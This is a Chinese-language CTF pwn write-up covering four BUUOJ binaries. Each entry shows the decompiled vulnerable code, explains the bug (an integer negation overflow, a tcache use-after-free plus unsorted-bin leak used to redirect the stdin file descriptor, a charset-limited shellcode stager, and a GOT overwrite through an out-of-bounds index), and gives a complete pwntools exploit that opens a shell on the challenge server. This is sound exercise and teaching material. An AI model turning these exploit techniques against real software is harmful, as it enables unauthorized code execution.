wustctf2020_number_game
wustctf2020_number_game(master*)$ file wustctf2020_number_game;checksec wustctf2020_number_game
wustctf2020_number_game: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=ad95bd0bc056d1f68fc74a2a3f2cd7ce63ada796, not stripped
[*] '/home/pwn/桌面/wustctf2020_number_game/wustctf2020_number_game'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
unsigned int vulnerable()
{
int v1; // [esp+8h] [ebp-10h] BYREF
unsigned int v2; // [esp+Ch] [ebp-Ch]
v2 = __readgsdword(0x14u);
v1 = 0;
__isoc99_scanf("%d", &v1);
if ( v1 >= 0 || (v1 = -v1, v1 >= 0) )
printf("You lose");
else
shell();
return __readgsdword(0x14u) ^ v2;
}
有符号数的奇妙冒险, 首先不能是非零数, 输入一个负数, 之后这个负数取补码之后依然是负数
只有一个可能: 0x80000000
from pwn import *
# from LibcSearcher import *
url, port = "node4.buuoj.cn", 28729
filename = "./wustctf2020_number_game"
elf = ELF(filename)
# libc = ELF("./libc_x86-2.23.so")
# context(arch="amd64", os="linux")
context(arch="i386", os="linux")
local = 0
if local:
context.log_level="debug"
io = process(filename)
# context.terminal = ['tmux', 'splitw', '-v']
# gdb.attach(io)
else:
io = remote(url, port)
def B():
gdb.attach(io)
pause()
def pwn():
io.send('-2147483648')
if __name__ == "__main__":
pwn()
io.interactive()
ciscn_2019_final_2
ciscn_2019_final_2(master*)$ file ciscn_final_2;checksec ciscn_final_2
ciscn_final_2: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=034de8edf01bcf16b3a78c825a5b23008331115d, not stripped
[*] '/home/pwn/桌面/ciscn_2019_final_2/ciscn_final_2'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // eax
init(argc, argv, envp);
Sandbox_Loading();
while ( 1 )
{
while ( 1 )
{
menu();
v3 = get_atoi();
if ( v3 != 2 )
break;
delete();
}
if ( v3 > 2 )
{
if ( v3 == 3 )
{
show();
}
else if ( v3 == 4 )
{
bye_bye();
}
}
else if ( v3 == 1 )
{
allocate();
}
}
}
sandbox
ciscn_2019_final_2(master*)$ seccomp-tools dump ./ciscn_final_2
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x05 0xc000003e if (A != ARCH_X86_64) goto 0007
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x02 0xffffffff if (A != 0xffffffff) goto 0007
0005: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0007
0006: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0007: 0x06 0x00 0x00 0x00000000 return KILL
什么都不准用, 有点意思了
init 读取flag到FILE结构(堆中), 然后修改fd为666
unsigned __int64 init()
{
int fd; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
fd = open("flag", 0);
if ( fd == -1 )
{
puts("no such file :flag");
exit(-1);
}
dup2(fd, 666);
close(fd);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
alarm(0x3Cu);
return __readfsqword(0x28u) ^ v2;
}
allocate
unsigned __int64 allocate()
{
_DWORD *v0; // rbx
int v2; // [rsp+4h] [rbp-1Ch]
unsigned __int64 v3; // [rsp+8h] [rbp-18h]
v3 = __readfsqword(0x28u);
printf("TYPE:\n1: int\n2: short int\n>");
v2 = get_atoi();
if ( v2 == 1 )
{
int_pt = malloc(0x20uLL);
if ( !int_pt )
exit(-1);
bool = 1;
printf("your inode number:");
v0 = int_pt;
*v0 = get_atoi();
*((_DWORD *)int_pt + 2) = *(_DWORD *)int_pt;
puts("add success !");
}
if ( v2 == 2 )
{
short_pt = malloc(0x10uLL);
if ( !short_pt )
exit(-1);
bool = 1;
printf("your inode number:");
*(_WORD *)short_pt = get_atoi();
*((_WORD *)short_pt + 4) = *(_WORD *)short_pt;
puts("add success !");
}
return __readfsqword(0x28u) ^ v3;
}
delete 存在UAF
unsigned __int64 delete()
{
int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
if ( bool )
{
printf("TYPE:\n1: int\n2: short int\n>");
v1 = get_atoi();
if ( v1 == 1 && int_pt )
{
free(int_pt);
bool = 0;
puts("remove success !");
}
if ( v1 == 2 && short_pt )
{
free(short_pt);
bool = 0;
puts("remove success !");
}
}
else
{
puts("invalid !");
}
return __readfsqword(0x28u) ^ v2;
}
byebye 可以劫持scanf的fd文件描述符到666
void __noreturn bye_bye()
{
char v0[104]; // [rsp+0h] [rbp-70h] BYREF
unsigned __int64 v1; // [rsp+68h] [rbp-8h]
v1 = __readfsqword(0x28u);
puts("what do you want to say at last? ");
__isoc99_scanf("%99s", v0);
printf("your message :%s we have received...\n", v0);
puts("have fun !");
exit(0);
}
漏洞利用
堆利用打_IO_2_1_stdin_的结构体, 文件描述符修改到flag对应的fd == 666, 读取后即可打印出来
(1) tcache UAF 泄露堆
(2) 填满 tcache 用 unsorted bin attack 泄露 libc
(3) tcache attack 打 stdin_filno
add(2, heap_low_addr - 0xa0)
填满tcache
打stdin_filno
from pwn import *
# from LibcSearcher import *
url, port = "node4.buuoj.cn", 27097
filename = "./ciscn_final_2"
elf = ELF(filename)
libc = ELF("./libc_x64-2.27.so")
context(arch="amd64", os="linux")
# context(arch="i386", os="linux")
local = 0
if local:
context.log_level="debug"
io = process(filename)
# context.terminal = ['tmux', 'splitw', '-v']
# gdb.attach(io)
else:
io = remote(url, port)
def B():
gdb.attach(io)
pause()
def add(type, number):
io.sendlineafter('which command?', '1')
io.sendlineafter('TYPE:', str(type))
io.sendlineafter('your inode number:', str(number))
def delete(type):
io.sendlineafter('which command?', '2')
io.sendlineafter('TYPE:', str(type))
def show(type):
io.sendlineafter('which command?', '3')
io.sendlineafter('TYPE:', str(type))
def leave(content):
io.sendlineafter('> ','4')
io.sendlineafter('what do you want to say at last? \n', content)
def pwn():
add(1, 0xfa1c4) # 0x30 chunk
delete(1)
for i in range(4):
add(2, 0xfa1ca) # 0x20 chunks
# B()
delete(2)
add(1, 0xfa1c4) # 0x30 chunk
delete(2)
show(2)
io.recvuntil('your short type inode number :')
heap_low_addr = int(io.recvuntil('\n')[:-1])
if heap_low_addr < 0: heap_low_addr += 0x10000
log.info('heap low address 2 bytes: %#x', heap_low_addr)
add(2, heap_low_addr - 0xa0)
add(2, 0)
# B()
delete(1)
# B()
add(2, 0x30 + 0x20 * 3 + 1) # fake chunk recall
# B()
for i in range(7):
delete(1)
add(2, 0)
# B()
delete(1)
show(1)
io.recvuntil('your int type inode number :')
main_arena_low_4bytes = int(io.recvuntil('\n')[:-1]) - 96
if main_arena_low_4bytes < 0: main_arena_low_4bytes += 0x100000000
log.info('main arena low 4 bytes address: %#x', main_arena_low_4bytes)
malloc_hook_low_4bytes = (main_arena_low_4bytes & 0xFFFFF000) + (libc.sym['__malloc_hook'] & 0xFFF)
libc_base_low_4bytes = malloc_hook_low_4bytes - libc.sym['__malloc_hook']
stdin_filno_low_4bytes = libc_base_low_4bytes + libc.sym['_IO_2_1_stdin_'] + 0x70
log.info('libc base low 4 bytes address: %#x', libc_base_low_4bytes)
log.info('stdin filno low 4byte: %#x', stdin_filno_low_4bytes)
add(2, stdin_filno_low_4bytes & 0xFFFF)
add(1, 0)
# B()
add(1, 666)
leave('falca')
if __name__ == "__main__":
pwn()
io.interactive()
小结
unsorted bin attack + tcache UAF(double free) + house of spirit
wustctf2020_easyfast
做过了
https://blog.csdn.net/qq_33976344/article/details/120132888
starctf_2019_babyshell
starctf_2019_babyshell$ file starctf_2019_babyshell;checksec starctf_2019_babyshell
starctf_2019_babyshell: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=1823c3a487a33936129f5630bc72aae96a129ca8, stripped
[*] '/home/pwn/桌面/starctf_2019_babyshell/starctf_2019_babyshell'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
void *buf; // [rsp+0h] [rbp-10h]
sub_4007F8(a1, a2, a3);
buf = mmap(0LL, 0x1000uLL, 7, 34, 0, 0LL);
puts("give me shellcode, plz:");
read(0, buf, 0x200uLL);
if ( !(unsigned int)sub_400786(buf) )
{
printf("wrong shellcode!");
exit(0);
}
((void (*)(void))buf)();
return 0LL;
}
__int64 __fastcall sub_400786(_BYTE *a1)
{
_BYTE *i; // [rsp+18h] [rbp-10h]
while ( *a1 )
{
for ( i = &unk_400978; *i && *i != *a1; ++i )
;
if ( !*i )
return 0LL;
++a1;
}
return 1LL;
}
这里可以将数据转换成代码(按C + force)
这题是检查shellcode是否有匹配的指令, 由在这段代码中存在的指令组成的shellcode才能通过检查
所以可以分两步, 手写shellcode(由上方的指令集组成), 构造读取另一个shellcode的函数功能, 读取第二个shellcode到buf, 然后就可以执行buf的shellcode, get shell
64位系统, 可以采用syscall调用sys_read
看看检查函数上方的汇编
rsi = buf, 所以shellcode只需要控制rdi = 0, rdx = 合适的size即可
看看栈内有无可以利用的数据
断点到调用buf执行
shellcode = 'pop rdi;pop rdi;pop rdi;pop rdi;pop rdi;pop rdi;pop rdi;pop rdi;pop rdx;pop rdi;syscall'
from pwn import *
# from LibcSearcher import *
url, port = "node4.buuoj.cn", 26060
filename = "./starctf_2019_babyshell"
elf = ELF(filename)
# libc = ELF("./libc64-2.23.so")
context(arch="amd64", os="linux")
# context(arch="i386", os="linux")
local = 0
if local:
context.log_level = "debug"
io = process(filename)
# context.terminal = ['tmux', 'splitw', '-h']
# gdb.attach(io)
else:
io = remote(url, port)
def B():
gdb.attach(io)
pause()
def pwn():
shellcode = asm('pop rdi;pop rdi;pop rdi;pop rdi;pop rdi;pop rdi;pop rdi;pop rdi;pop rdx;pop rdi;syscall')
# B()
io.sendafter('give me shellcode, plz:\n', shellcode)
offset = 0xC
io.sendline(cyclic(offset) + asm(shellcraft.sh()))
if __name__ == "__main__":
pwn()
io.interactive()
wustctf2020_name_your_dog
wustctf2020_name_your_dog$ file wustctf2020_name_your_dog;checksec wustctf2020_name_your_dog
wustctf2020_name_your_dog: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=9615fb1408f3d1f6091c2018310bf9170bc6abd0, not stripped
[*] '/home/pwn/桌面/wustctf2020_name_your_dog/wustctf2020_name_your_dog'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
int vulnerable()
{
int result; // eax
int i; // [esp+8h] [ebp-10h]
int v2; // [esp+Ch] [ebp-Ch]
result = puts("I bought you five male dogs.Name for them?");
for ( i = 1; i <= 5; ++i )
{
v2 = NameWhich(&Dogs);
printf("You get %d dogs!!!!!!\nWhatever , the author prefers cats ^.^\n", i);
result = printf("His name is:%s\n\n", (const char *)(8 * v2 + 134520928));
}
return result;
}
int __cdecl NameWhich(int a1)
{
int v2[4]; // [esp+18h] [ebp-10h] BYREF
v2[1] = __readgsdword(0x14u);
printf("Name for which?\n>");
__isoc99_scanf("%d", v2);
printf("Give your name plz: ");
__isoc99_scanf("%7s", 8 * v2[0] + a1);
return v2[0];
}
数组越界漏洞, 越界到got, 劫持printf@got到shell后门函数即可, 但是发现偏移非整数所以修改scanf@got
from pwn import *
# from LibcSearcher import *
url, port = "node4.buuoj.cn", 27098
filename = "./wustctf2020_name_your_dog"
elf = ELF(filename)
# libc = ELF("./")
# context(arch="amd64", os="linux")
context(arch="i386", os="linux")
local = 0
if local:
context.log_level = "debug"
io = process(filename)
# context.terminal = ['tmux', 'splitw', '-h']
# gdb.attach(io)
else:
io = remote(url, port)
def B():
gdb.attach(io)
pause()
def pwn():
shell_addr = 0x080485CB
# offset = (0x0804A00C - 0x0804A060) / 8
# print(offset) # -10.5 not integer
offset = (0x0804A028 - 0x0804A060) / 8
print(offset) # -7
offset = int(offset)
io.sendlineafter('>', str(offset))
io.sendafter('name plz: ', p32(shell_addr))
if __name__ == "__main__":
pwn()
io.interactive()